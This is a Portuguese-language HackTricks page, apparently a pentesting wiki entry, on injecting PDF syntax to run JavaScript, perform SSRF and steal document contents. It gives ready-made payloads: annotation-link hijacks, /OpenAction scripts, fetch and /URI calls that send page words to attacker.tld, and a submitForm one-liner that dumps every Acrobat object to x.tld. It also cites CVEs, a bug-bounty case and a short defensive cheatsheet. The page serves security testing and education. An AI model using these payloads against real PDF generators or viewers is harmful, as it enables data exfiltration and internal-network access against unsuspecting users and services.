PDF Injection
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Se sua entrada está sendo refletida dentro de um arquivo PDF, você pode tentar injetar dados PDF para executar JavaScript, realizar SSRF ou roubar o conteúdo do PDF. A sintaxe PDF é extremamente permissiva – se você conseguir sair da string ou dicionário que está incorporando sua entrada, pode adicionar objetos totalmente novos (ou novas chaves no mesmo objeto) que o Acrobat/Chrome irá analisar felizmente. Desde 2024, uma onda de relatórios de bug-bounty mostrou que um parêntese ou barra invertida não escapado é suficiente para a execução completa de scripts.
TL;DR – Fluxo de Ataque Moderno (2024)
- Encontre qualquer valor controlado pelo usuário que acabe dentro de uma (string de parênteses), 
/URI ( … )ou campo/JS ( … )no PDF gerado. - Injetar 
)(fechando a string) seguido por um dos primitivos abaixo e terminar com outro parêntese de abertura para manter a sintaxe válida. - Entregar o PDF malicioso a uma vítima (ou a um serviço de backend que renderiza automaticamente o arquivo – ótimo para bugs blindos).
 - Seu payload é executado no visualizador de PDF:
 
- Chrome / Edge → PDFium Sandbox
 - Firefox → PDF.js (veja CVE-2024-4367)
 - Acrobat → API JavaScript Completa (pode exfiltrar conteúdos de arquivos arbitrários com 
this.getPageNthWord) 
Exemplo (sequestro de link de anotação):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
O primeiro ) fecha a string URI original, em seguida, adicionamos um novo dicionário Action que o Acrobat executará quando o usuário clicar no link.
Primitivas de Injeção Úteis
| Objetivo | Trecho de Payload | Notas | 
|---|---|---|
| JavaScript ao abrir | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Executa instantaneamente quando o documento é aberto (funciona no Acrobat, não no Chrome). | 
| JavaScript ao clicar no link | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Funciona no PDFium & Acrobat se você controlar uma anotação /Link. | 
| Exfiltração de dados cega | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Combine com this.getPageNthWord dentro do JS para roubar conteúdo. | 
| SSRF do lado do servidor | O mesmo que acima, mas direciona para uma URL interna – ótimo quando o PDF é renderizado por serviços de back-office que respeitam /URI. | |
| Quebra de linha para novos objetos | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Se a biblioteca permitir que você injete caracteres de nova linha, você pode criar objetos totalmente novos. | 
Truque de Enumeração Cega
Gareth Heyes (PortSwigger) lançou uma linha única que enumera todos os objetos dentro de um documento desconhecido – útil quando você não pode ver o PDF gerado:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
O código itera sobre o DOM do Acrobat e faz solicitações externas para cada par de propriedade/valor, fornecendo um despejo JSON-ish do arquivo. Veja o white-paper “Portable Data exFiltration” para a técnica completa.
Bugs do Mundo Real (2023-2025)
- CVE-2024-4367 – Execução arbitrária de JavaScript no PDF.js do Firefox antes da versão 4.2.67 contornou o sandbox com uma ação 
/JavaScriptmanipulada. - Bug bounty 2024-05 – Uma fintech importante permitiu notas de fatura fornecidas pelo cliente que foram parar em 
/URI; o relatório pagou $10k após demonstrar SSRF para o host de metadados interno usandofile:///URI. - CVE-2023-26155 – Injeção de comando 
node-qpdfvia caminho PDF não sanitizado mostra a importância de escapar barras invertidas e parênteses mesmo antes da camada PDF. 
Cheatsheet Defensivo
- Nunca concatene entrada bruta do usuário dentro de strings ou nomes 
(…). Escape\,(,)conforme exigido pelo §7.3 da especificação PDF ou use strings hexadecimais<...>. - Se você construir links, prefira 
/URI (https://…)que você totalmente codifique em URL; bloqueie esquemasjavascript:em visualizadores de cliente. - Remova ou valide dicionários 
/OpenAction,/AA(ações adicionais),/Launch,/SubmitForme/ImportDataao processar PDFs. - No lado do servidor, renderize PDFs não confiáveis com um conversor sem cabeça (por exemplo, qpdf –decrypt –linearize) que remove JavaScript e ações externas.
 - Mantenha os visualizadores de PDF atualizados; PDF.js < 4.2.67 e Acrobat Reader antes de julho de 2024 permitem execução de código trivial.
 
Referências
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (atualizado em maio de 2024). https://portswigger.net/research/portable-data-exfiltration
 - Dawid Ryłko, “CVE-2024-4367: Execução Arbitrária de JavaScript no PDF.js” (abr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks